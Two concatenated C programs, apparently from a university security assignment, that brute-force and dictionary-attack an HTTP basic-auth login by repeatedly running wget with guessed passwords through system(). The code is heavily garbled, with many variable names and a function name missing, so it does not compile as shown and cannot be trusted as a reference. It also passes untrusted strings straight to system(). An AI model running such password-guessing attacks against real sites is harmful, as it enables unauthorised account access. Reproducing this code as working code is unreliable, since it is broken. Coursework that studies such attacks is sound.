#include<stdio.h>
#include<stdlib.h>
#include<string.h> 
#include <ctype.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define SECONDS 1e9

int findPassword(char *);
int smallPass();
int capsPass();

int main()
{
	int foundP;	
	foundP=smallPass();
	foundP=capsPass();
	if(foundP == 2)
	{		
		return SUCCESS;
	}
	printf("\n PASSWORD NOT FOUND");
	return SUCCESS;
  
}

int smallPass()
{
	char [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=0;j<3;j++)
	{
		incr=0;		
		for(i=0;i<=25;i++)
		{				
			if(j==0)
			{	
				incr++;
				pass[j]=[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = [k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{						
				pass[j-2]=[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = [k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = [l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);					
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}



int capsPass()
{
	char caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=2;j<3;j++)
	{
		incr=0;
		for(i=0;i<=25;i++)
		{
				
			if(j==0)
			{	
				incr++;
				pass[j]=caps[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=caps[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = caps[k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{				
				pass[j-2]=caps[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = caps[k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = caps[l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}


	 




#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>


#define MAX_THREADS 1000
#define MAX_COMBO 
#define false 0
#define true 1


static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];


pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;


static int attempt_count=0;
static int combo_entries=0;

static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;


typedef struct range
{
  int ;
  int ;
}range;


void *client(void *arg)
{
  
  int i=0, status=0;
  range *= (struct range*)arg;

  
  char local_buffer[128];

  pthread_mutex_lock(&thread_lock);
  thread_ready_indicator=true;

  
  pthread_cond_signal(&thread_ready);

  
  while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
    fflush(stdout);
  pthread_mutex_unlock(&thread_lock);

  
  for(i=->; i<=-> && i<combo_entries; i++)
  {
    
    sprintf(local_buffer,
    "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
    "", combination[i], host);

    
    status=system(local_buffer);

    
    if(status==0)
    {
      printf("\n\nusername: \npassword: %s\n\n", combination[i]);
      fflush(stdout);

      
      pthread_mutex_lock(&counter_lock);

        attempt_count++;
        gettimeofday(&stop, NULL);

        printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
        attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
        fflush(stdout);

      pthread_mutex_unlock(&counter_lock);

      
      exit(EXIT_SUCCESS);
    }
    else
    {
      
      pthread_mutex_lock(&counter_lock);
        attempt_count++;
      pthread_mutex_unlock(&counter_lock);
    }
  }
  pthread_exit(NULL);
}


int (int argc, char **argv)
{
  
  FILE *input;
  int wait_status=0, i=0, j=0, num_threads=0;
  int partition=0, prev_min=0, prev_max=0;
  int len=0;
  char *c; range *;
  pthread_t tid[MAX_THREADS];
  char buffer[128];
  int non_alpha_detected=0;

  
  if(argc<4)
  {
    puts("Incorrect usage!");
    puts("./dict num_threads input_file url");
    exit(EXIT_FAILURE);
  }

  
  num_threads=atoi(argv[1]);

  
  strcpy(host, argv[3]);

  
  combination = (char **)calloc(MAX_COMBO, sizeof(char *));

  printf("Process ID for the  thread is: %d\n", getpid());
  printf("Creating dictionary ...");

  
  if( (input=fopen(argv[2], "r"))==NULL )
  {
    puts("Cannot open the file specified!");
    exit(EXIT_FAILURE);
  }

  
  while( fgets(buffer, 128, input) != NULL && i<MAX_COMBO)
  {
    len=strlen(buffer);

    
    len--;
    buffer[len]='\0';

    
    if(len > 3) continue;

    
    for(j=0; j<len; j++) if(isalpha(buffer[j])==0) { non_alpha_detected=1; break; }

    
    if(non_alpha_detected==1)
    {
      non_alpha_detected=0;
      continue;
    }
    combination[i]=calloc(len+1, sizeof(char));
    strcpy(combination[i++], buffer);
    combo_entries++;
  }
  fclose(input);
  printf("\nAttacking host: %s\n", host);
  j=0;

  
  partition=combo_entries/num_threads;

  
  if(partition==0)
  {
    puts("Reducing the number of threads  match the number of words.");
    num_threads=combo_entries;
    partition=1;
  }

  
  prev_min=0;
  prev_max=partition;
  i=0;

  memset(&, 0, sizeof(struct timeval));
  memset(&stop, 0, sizeof(struct timeval));

  
  while(i<num_threads && i<MAX_THREADS)
  {
    
    =malloc(sizeof(struct range));
    ->=prev_min;
    ->=prev_max;

    
    pthread_mutex_lock(&thread_lock);
      thread_ready_indicator=false;
    pthread_mutex_unlock(&thread_lock);

    
    if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");

    
    pthread_mutex_lock(&thread_lock);
      while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
    pthread_mutex_unlock(&thread_lock);

    
    prev_min+=partition+1;

    
    if(i==num_threads)
    {
      prev_max=combo_entries;
    }
    else
    {
      prev_max+=partition+1;
    }
  }

  
  gettimeofday(&, NULL);

  
  pthread_mutex_lock(&thread_lock);
    thread_start_indicator=true;
  pthread_mutex_unlock(&thread_lock);

  
  pthread_cond_broadcast(&start_hacking);

  
  printf("Created %d threads  process %d passwords.\n", num_threads, combo_entries);

  
  for(i=0; i<num_threads && i<MAX_THREADS; i++)  pthread_join(tid[i], NULL);

  gettimeofday(&stop, NULL);

  
  puts("Could not determine the password for this site.");
  printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
  attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
  fflush(stdout);

  
  for(i=0; i<combo_entries; i++) (combination[i]);
  (*combination);

  return EXIT_SUCCESS;
}

